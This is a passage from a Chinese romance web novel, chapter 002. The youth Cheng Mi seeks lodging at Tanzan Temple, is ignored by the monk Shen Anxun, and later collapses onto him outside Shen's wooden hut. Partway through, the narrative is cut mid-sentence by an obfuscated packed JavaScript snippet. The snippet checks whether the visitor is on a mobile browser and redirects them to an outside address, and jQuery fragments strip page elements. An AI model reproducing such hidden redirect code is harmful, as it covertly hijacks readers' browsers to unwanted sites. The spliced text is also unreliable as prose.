正文002
在程觅眼中,沈岸寻是僧人,可对方却留着薄薄的一层头发渣,脑顶没有六个点。这种比板寸还要短的发型非常能够检验一个人的五官是否优秀,程觅不动声色地打量沈岸寻,这人不仅头型好看,剑眉英气,眼尾略带棱角,山根饱满,是非常养眼的长相。
程觅对寺庙与僧人的了解全部来源于电影和电视剧,记住的都是些刻板印象,殊不知,现在的僧人头上早就不点六个点了。
沈岸寻整体给人的感觉像块木头,不苟言笑,冷淡的表情用程觅的糙话来形容就是面瘫。他的嗓音压得很低但温柔,只是之后无论程觅再问沈岸寻什么,对方都不再理会。
“小师父,檀赞寺能住宿吗?我想住在这里,价格您开。”为了自己之后几天都能睡上好觉,程觅态度真诚地问。
见沈岸寻不回答,程觅蹙眉,耐着性子继续问:“晚上还有斋饭吗?我饿了,想吃点东西。”
无声的空白没持续几秒,程觅渐渐不耐烦了,又问:“小师父,你怎么不理我,出家人不是有问必答吗?”
这回沈岸寻有动静了,可他的回复能把程觅气死。程觅看着沈岸寻将右手竖在胸前,微微欠身:“阿弥陀佛。”
程觅:“……”
沈岸寻转身离去,程觅站在娑罗树下目送他走远。随风摇曳的树影扫在程觅身上,沈岸寻在明,他在暗。
无聊地返回寺门前,程觅抬脚跨过门槛,但因思绪游离,注意力不集中,右脚抬得不够高,结果狠狠地绊了一跤,好在他反应够快,踉跄两步及时站稳了身体。
“我他妈……”歪歪扭扭了几下才走稳脚步,程觅闭了闭眼,攥紧的拳头青筋毕现。
“这地方跟老子相克。”自言自语地骂着,程觅不愿回头多看一眼,径直朝长阶走去。可当他立在台阶之上,垂眸俯瞰来路,又在心里琢磨,这地儿比市区安静多了,与世隔绝的,能让他什么都不想,他坐了这么远的车过来,不就是为了图个清静吗?
一千多级台阶,来路太坎坷,去路又被这破庙堵死了,程觅转身环顾四周,天色即将暗下,他必须尽快找一处过夜的地方。
既然檀赞寺跟他相克,程觅打算就在它的周围找一找有没有能收留他的人家。
左看右看,与长阶相连的平台除了摆着六个摊位,唯一的去处只有眼前的檀赞寺了。程觅无语地搔搔刘海,叉着腰,愈发觉得自己上辈子是不是冒犯了老天爷,怎么这辈子没有一件能让他顺心的事。
游走的视线定格在寺庙左侧,似乎有道缝隙,程觅好奇地踱步过去,只见院墙与竹林之间夹着一条隐蔽的窄径,是条上行的石子路,路途不长,能依稀望见尽头立着一座木屋。
脚底碾着石子,脚下偶尔打滑,程觅便握住粗壮的竹子,借力行走。踩到平坦的空地上,他又开始喘,最近一段时间总是窝在房间里足不出户,避人避世,以前在学校经常锻炼,身强体魄,如今稍加动换就累得不行了。
程觅感觉现在的自己简直是弱爆了。
这木屋……看起来搭建得实在是过于潦草了。
荒郊野岭的,依傍着檀赞寺,眼前的木屋显得尤为突兀,但不管怎样,总算有户人家了。程觅平时住惯了大别墅,对这屋子的住宿条件没什么信心,可他没得挑,出行在外,肯定是寄人篱下,那也比他那个操/蛋的家强一百倍。
运动服拉链下拉到锁骨处,整平衣领,嘴角带笑,换上一副乖乖男的形象,程觅伸手敲敲屋门,清了清嗓子问:“您好,有人在吗?”
等了半天,无人回应。
“我靠,这地儿不会荒废了吧?”露出担忧的神色,程觅低头在门口扫两眼,放下心来:应该没有,门前的土地被踩得很平整,这里有人住的。
“有人在吗?”他又喊了一嗓子,在确定木屋的主人可能外出去了之后,便朝着院墙走去,靠着墙面稍作休息。程觅此刻非常想点根烟,碍于旁边是竹林,他还想喝酒,碍于此处是佛门重地,只得憋屈地蹲下身,枯燥地等待木屋的主人回来。
整张脸往胳膊上一埋,疲惫不堪的程觅意识立刻断了,又迷迷糊糊地睡了一觉。这次的睡眠较浅,周遭动静他能感知一些,所以才会在听见脚步声时立马睁开眼睛,抬起沉重的脑袋往左侧偏头。
千万别是女主人啊……程觅临时向佛祖祈祷,这破寺克了他一天,也该让他幸运一回了吧?
嚯。程觅在心中吹了声口哨,佛祖显灵了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307587|198723||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,真不错,来的确实不是女人,是一位高高瘦瘦的大小伙儿。
那人在明,程觅在暗,所以是程觅先认出了他。我去……程觅简直想掐人中了,他和这位面瘫的小师父究竟有着怎样的孽缘啊?
沈岸寻扛着一袋子米走向家门,余光中,有团东西在蠕动,他转过头,是今日睡在娑罗树下的少年,沈岸寻对程觅的第一印象——这人是个话痨。
放下米袋走向院墙,佛珠三通上的松石坠子一晃一晃的,程觅先是盯着沈岸寻的佛珠看了一会儿,然后才仰起头,友善地打招呼:“嗨,小师父。”
程觅从地上站起来,搓搓手,俨然做出一副求人的可怜模样。思忖着合适的措词,他刚想开口,不料一阵钻心的麻痒从脚底直蹿进尾椎骨,程觅只来得及念叨一句“不能够吧”,而后胳膊一张,别无他法、不管不顾地抱住沈岸寻,表情痛苦得几近扭曲。
两人倒地的过程中,程觅求生欲极强地念叨着:“对不起我蹲太久了脚麻了无意冒犯出家人阿弥陀佛。”
紧接着,一股浓郁的气味扑进鼻腔,程觅咬牙含泪忍受着酸麻感,却还是分出一线心思在心中评价道:小师父身上什么味儿?这么好闻。
“你不会涂香水了吧?”为了避免尴尬,程觅转移话题问,“什么牌子的?推荐给我呗。”
“我用过不少男士香水,鼻子挺挑的,像你身上这种不浓不淡的味道正合我意。”
沈岸寻不是哑巴,程觅清楚得很,可对方就是不言语,眼神泛空地望着落山的夕阳。程觅见他又不回答,锲而不舍地追问:“小师父,这间木屋是你的吧?您发发慈悲呗,收留我一晚行不?”
沈岸寻不出声,他就一个劲儿地问:“行吗?好吗?好的吧?”
半分钟后,沈岸寻启唇说:“起来。”
程觅两手错开沈岸寻的肩膀,避免多一处触碰,冲他弯起眼睛,脸上笑眯眯的,口中紧咬着后槽牙,艰难地把上半身挪向沈岸寻旁边的空地。
深吸两口气,程觅以一个极其别扭且滑稽的姿势半趴在沈岸寻身上,不好意思道:“起来一半儿了,两条腿还得再等等,那什么……我蹲得太久了,麻劲儿还没过呢。”
沈岸寻继续凝望天空。